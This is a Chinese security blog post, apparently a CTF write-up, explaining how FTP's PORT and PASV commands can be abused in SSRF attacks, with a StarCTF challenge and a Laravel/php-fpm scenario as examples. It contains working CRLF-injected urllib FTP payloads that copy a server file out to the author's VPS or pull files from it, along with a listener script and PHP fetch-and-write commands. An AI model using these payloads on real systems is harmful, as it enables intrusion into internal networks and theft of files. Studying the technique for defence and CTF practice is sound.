针对FTP的SSRF攻击
前言
ssrf中常用的协议有http,gopher等。但http协议在ssrf中的用处也仅限于访问内网页面,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,在部分环境下支持此协议,如:curl。但还有一些环境就不支持了,如:urllib.request模块。
但最近的laravel框架的rce吸引了我的注意力。此上面提供的文章中,研究员在可使用的协议受到约束的条件下,选择使用ftp协议攻击php-fpm以达到rce。出于此,笔者决定探究ftp协议在ssrf中都有哪些应用。
ftp的两种模式
ftp协议是文件传输协议,其使用模式有两种:
- 主动模式
主动模式下,客户端向服务端发送连接请求命令PORT a,a,a,a,b,c,其中a是客户端ipv4的地址,b和c记录了一个由客户端开放的端口(b×256)+c。随后服务端尝试连接客户端指定的地址。连接成功后,两者开始进行文件的传输。
但由于客户端由于防火墙等原因,导致服务端无法连接至客户端。为了解决这个问题,诞生了另一种模式。
- 被动模式
被动模式下,客户端向服务端发送连接请求命令PASV,随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).,告诉客户端连接对应的地址进行文件传输。
发现了吗?在上面的命令中a, b, c如果可以受到我们控制,不就可以达到ssrf的效果了吗?
对ftp server进行ssrf
在刚刚结束的starctf中,其中一题oh-my-bet便是用到了主动模式下的ftp进行ssrf,发送二进制数据至mongoDB更改数据库中数据。
以下是原题目中使用pyftpdlib模块搭建于内网中的ftp server。
# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServerauthorizer = DummyAuthorizer()authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要,原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubugserver = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()
除ftp server,还有一个存在于内网的mongoDB,用于储存flask-session的pickle序列化数据。以及一个内网mysql用于储存用户数据。最后是向公网开放的flask web server。
原题目中存在一个参数可控的urllib.request.urlopen(value),且python版本3.6,存在crlf漏洞。
题目最后要求rce。唯一有可能的突破点,是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB的数据是不行的,会被mongoDB拒绝连接。gopher协议不被urllib.request.urlopen(value)支持。所以最终着眼于ftp协议。
本文为讲解ftp在ssrf中的应用,简化上面环境,假设ftp-server.py所在目录有以下文件。

先在urllib中连接尝试读取文件。

urllib在成功连接控制端口后,会发送url中的用户名与密码,因此可以在密码后crlf,注入其它命令。
以下代码会发送ftp-server.py文件至自己vps的2333端口。
ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()

既然都可以上传至自己vps上的指定端口,那么就可以将其改为内网的任意ip与端口。
ip可控,接下来就是如何控制内容了。
正常情况下,单凭urlopen是无法上传文件的,但因为存在crlf漏洞,我们可以轻易上传文件。
使用以下代码,可以告诉服务器:从自己vps的2333端口获取test文件,并保存。
ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()
这里可以简单写一个socket监听。
import sockets = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

成功上传。
上面是对ftp server进行ssrf,但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack,是一种比较老旧的攻击方式,现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True,让这种攻击变为可能。
对ftp client进行ssrf
回到开头所说的laravel debug rce。
根据原文,在模块中有以下抽象过的代码。
$data = file_get_contents($file);
file_put_contents($file, $data);
文章首先给出的方法是利用php伪协议清空log文件,然后写入phar数据,再使用phar协议达成反序列化。但还有一个方法,文章没有细说,就是使用ftp协议攻击php-fpm。
那么具体思路如下:
php从我们的ftp server获取payload,存入变量中。php上传文件时,将被动模式的连接地址改为php所在服务器的内网地址,上传payload攻击。
我们先看一看php的文件类函数是如何发送ftp请求的。
依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用:
php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'
查看ftp服务日志。(这里仅列出关键信息)
; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4
在这里,php先使用SIZE命令确认文件是否存在,然后使用了EPSV命令,这个命令含义是启用扩展被动模式。ftp server将指返回端口,但不返回ip。解决方法很简单,找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib模块的源码,使其返回500 'EPSV': command not understood.。
综合上面信息,有两个难点:
php获取和上传的是同一个文件,file_put_contents会检测文件是否已经存在,如果存在则不会进行上传操作。因此需要在php获取文件后的瞬间删除该文件。- 一般
ftp client都使用被动模式。php获取文件时,要求被动模式返回ftp server自己的地址。但php上传文件时,返回的却是php所在服务器的内网地址。
很明显,上面的问题套用一般的轮子很难解决。因为ftp协议本身的交互没有那么复杂。所以尝试做一个fake ftp server(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。
这里尝试将一个test字符串从外网,通过php的ftp client发送至php所在服务器内网的2333端口。
效果如下:



总结
ftp可以在ssrf中起到作用,其原因便是PORT和PASV两个命令导致的连接跳转。把握此点,便可使ftp在漏洞利用中大放异彩!
相关文章:
针对FTP的SSRF攻击
前言 ssrf中常用的协议有http,gopher等。但http协议在ssrf中的用处也仅限于访问内网页面,在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊,在部分环境下支持此协议,如:curl。但还有一些环境就不支持了&a…...
线性代数中涉及到的matlab命令-第一章:行列式
目录 1,逆序数 2,行列式定义和性质 2.1,常用特性及命令 2.2,求行列式 2.3,行列式的性质 2,行列式按行(列)展开 3,范德蒙德行列式 在学习线性代数过程中&#…...
QT编程,QT内存管理、信号与槽、
目录 一、QT工具 二、QT内存管理 三、信号与槽 1、信号与槽特点 2、信号 3、槽函数 4、连接 5、发送信号 6、取消连接 一、QT工具 1、Qt Designer:界面设计编辑工具 2、Qt Assistant: Qt技术文档浏览器 3、Qt Linguist: 国际化语言翻译工具 4、…...
springcloud之项目实战环境准备
写在前面 为了更好的学习springcloud,我们来一起开发一个实战项目,加深理解。 1:项目介绍 在开始项目实战之前先来做一个整体的项目介绍,从而能够让对项目的整体架构和模板有一个比较清晰的认知。 大家都知道双11,…...
Linux 部署 MinIO 分布式对象存储 配置为 typora 图床
前言 MinIO 是一款高性能的对象存储系统,它可以用于大规模的 AI/ML、数据湖和数据库工作负载。它的 API 与Amazon S3 云存储服务完全兼容,可以在任何云或本地基础设施上运行。MinIO 是开源软件,也提供商业许可和支持 MinIO 的特点有&#x…...
JVM Optimization Learning(四)
目录 一、调优 1、基础概念 2、什么是调优? 3、调优,从规划开始 4、调优案例 一、调优 1、基础概念 吞吐量:用户代码执行时间 /(用户代码执行时间 垃圾回收时间) 响应时间:STW越短,响应…...
新华三辅导笔记 2023/10/9-2023/10/13
新华三辅导笔记 一、需要用到的软件二、计算机网络概述1、计算机网络的定义和基本功能(1)什么是计算机网络(2)计算机网络的基本功能 2、(1)局域网、城域网和广域网(范围划分)&#x…...
边坡安全监测系统的功能优势
随着科技的进步,边坡安全监测系统在各种工程项目中发挥着越来越重要的作用。这款系统通过实时监测垂直、水平位移数据,以折线图的方式显示在监控平台中,为工程人员提供了直观、便捷的监控工具,从而能够及时掌握边坡稳定状况&#…...
【架构】研发高可用架构和系统设计经验
研发高可用架构和系统设计经验 从研发规范层面、应用服务层面、存储层面、产品层面、运维部署层面、异常应急层面这六大层面去剖析一个高可用的系统需要有哪些关键的设计和考虑。 一、高可用架构和系统设计思想 1.可用性和高可用概念 可用性是一个可以量化的指标,计算的公…...
Linux线程安全
线程安全 Linux线程互斥进程线程间的互斥相关背景概念互斥量mutex互斥量的接口互斥量实现原理探究 可重入VS线程安全概念常见的线程不安全的情况常见的线程安全的情况常见的不可重入的情况常见的可重入的情况可重入与线程安全联系可重入与线程安全区别 常见锁概念死锁死锁的四个…...
Windows安装Node.js
1、Node.js介绍 ①、Node.js简介 Node.js是一个开源的、跨平台的JavaScript运行环境,它允许开发者使用JavaScript语言来构建高性能的网络应用程序和服务器端应用。Node.js的核心特点包括: 1. 事件驱动: Node.js采用了事件驱动的编程模型,通…...
想要开发一款游戏, 需要注意什么?
开发一款游戏是一个复杂而令人兴奋的过程。游戏开发是指创建、设计、制作和发布电子游戏的过程。它涵盖了从最初的概念和创意阶段到最终的游戏发布和维护阶段的各个方面。 以下是一些需要注意的关键事项: 游戏概念和目标: 确定游戏开发的核心概念和目标…...
横向AlGaN/GaN基SBD结构及物理模型数据库的开发
GaN基功率器件凭借其临界电场高、电子饱和漂移速度大、热导率高等优良性能在大功率快充、充电桩、新能源汽车等领域具备广泛应用空间。为进一步助推半导体高频、高功率微电子器件的发展进程,天津赛米卡尔科技有限公司技术团队依托先进的半导体TCAD仿真平台成功开发出…...
使用安卓Termux+Hexo,手机也能轻松搭建个人博客网站
文章目录 前言1.安装 Hexo2.安装cpolar3.远程访问4.固定公网地址5.结语 前言 Hexo 是一个用 Nodejs 编写的快速、简洁且高效的博客框架。Hexo 使用 Markdown 解析文章,在几秒内,即可利用靓丽的主题生成静态网页。 下面介绍在Termux中安装个人hexo博客并…...
Spring在业务中常见的使用方式
目录 通过IOC实现策略模式 通过AOP实现拦截 通过Event异步解耦 通过Spring管理事务 通过IOC实现策略模式 很多时候,我们需要对不同的场景进行不同的业务逻辑处理举个例子,譬如不同的场景需要不同支付方式,普通的逻辑是使用if-else&#x…...
PyTorch 深度学习实战
文章目录 前言1. 环境安装1.Anaconda2.pytorch cuda 环境3.测试 前言 1. 环境安装 1.Anaconda 可以参考这里:Anaconda学习 2.pytorch cuda 环境 我是按照下面的博客一步步完成,亲测有效 Pytorch安装教程(最全最详细版) 我的…...
学生用RockyLinux9.2模板虚拟机说明
“RockyLinux9.2”模板虚拟机下载地址 链接:https://pan.baidu.com/s/1xcakszIQ7Kp9Nw_NA9Znlg?pwdqzmm 提取码:qzmm 1.模板机是基于“Rocky-9.2-x86_64-minimal.iso”安装 2.模板机是2023.10.10执行dnf update && dnf upgrade更新和升级软件…...
BUUCTF reverse3 1
先运行下 看来是输入正确的flag 使用DIE查看文件 看起来没有壳,直接IDA打开 shift F12查找字符串 一路跟踪 到汇编窗口后F5 这里对Destination和Str2进行比较,Str2有值那么Str2就是经过上面一系列处理之后得到的内容了 继续分析上面的代码 根据…...
关于webWorker未解问题
今天尝试学习webworker,尝试在vue3项目里面使用 使用的就是常规方法,使用worker-loader,加上在vue.config.js内部添加配置 使用完发现问题 如图所见,该worker仅仅配置点击后传输字符串"1",并在worker内部打印,发现打印不出来 但是仅仅只是将引入的文件换个名字 …...
自然语言处理(NLP)的开发框架
自然语言处理(NLP)领域有许多开源的框架和库,用于处理文本数据和构建NLP应用程序。以下是一些常见的NLP开源框架及其特点,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合…...
Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...
MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
渲染学进阶内容——模型
最近在写模组的时候发现渲染器里面离不开模型的定义,在渲染的第二篇文章中简单的讲解了一下关于模型部分的内容,其实不管是方块还是方块实体,都离不开模型的内容 🧱 一、CubeListBuilder 功能解析 CubeListBuilder 是 Minecraft Java 版模型系统的核心构建器,用于动态创…...
postgresql|数据库|只读用户的创建和删除(备忘)
CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...
k8s业务程序联调工具-KtConnect
概述 原理 工具作用是建立了一个从本地到集群的单向VPN,根据VPN原理,打通两个内网必然需要借助一个公共中继节点,ktconnect工具巧妙的利用k8s原生的portforward能力,简化了建立连接的过程,apiserver间接起到了中继节…...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...
Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)
参考官方文档:https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java(供 Kotlin 使用) 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...
学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”
2025年#高考 将在近日拉开帷幕,#AI 监考一度冲上热搜。当AI深度融入高考,#时间同步 不再是辅助功能,而是决定AI监考系统成败的“生命线”。 AI亮相2025高考,40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕,江西、…...
【Linux】Linux 系统默认的目录及作用说明
博主介绍:✌全网粉丝23W,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...
